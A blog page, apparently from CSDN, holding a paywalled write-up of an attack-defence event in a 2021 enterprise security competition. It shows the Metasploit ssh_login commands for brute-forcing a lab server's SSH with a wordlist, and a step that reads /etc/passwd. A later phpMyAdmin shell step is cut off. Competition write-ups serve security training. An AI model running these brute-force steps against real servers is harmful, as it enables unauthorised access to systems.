2021一带一路暨金砖大赛之企业信息系统安全赛项AWD_writeup

Beluga

于 2022-12-19 17:28:49 发布

阅读量967

点赞数 1

分类专栏：信息评估与管理赛题(解析) 文章标签： ssh 服务器运维网络安全网络

本文链接：https://blog.youkuaiyun.com/qq_48609816/article/details/128375343

版权

信息评估与管理赛题(解析) 专栏收录该内容

18 篇文章 ¥59.90 ¥99.00

订阅专栏

超级会员免费看

本文为2021一带一路暨金砖大赛中企业信息系统安全赛项的赛后writeup，重点讨论了AWD（攻防对抗）模式下的实战经验，涉及SSH安全、服务器运维及网络安全策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

更多详情私聊博主

订阅专栏解锁更多~~觉得不错麻烦点个赞~~~

AWD_writeup
主要考点：后门账户、数据库操作、cve漏洞、后门漏洞、自动化攻击
1、解法一
ssh弱口令账户
用户登录后cat /etc/passwd 发现系统存在额外账户

使用msf进行ssh爆破尝试
msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhost 192.168.2.162
set rport 22
set username administrator
set pass_file /root/Desktop/top100.txt
set verbose true
run

2、解法二
phpmyadmin getshell
发现站点phpmyadmin 并且在 confi

了解本专栏

超级会员免费看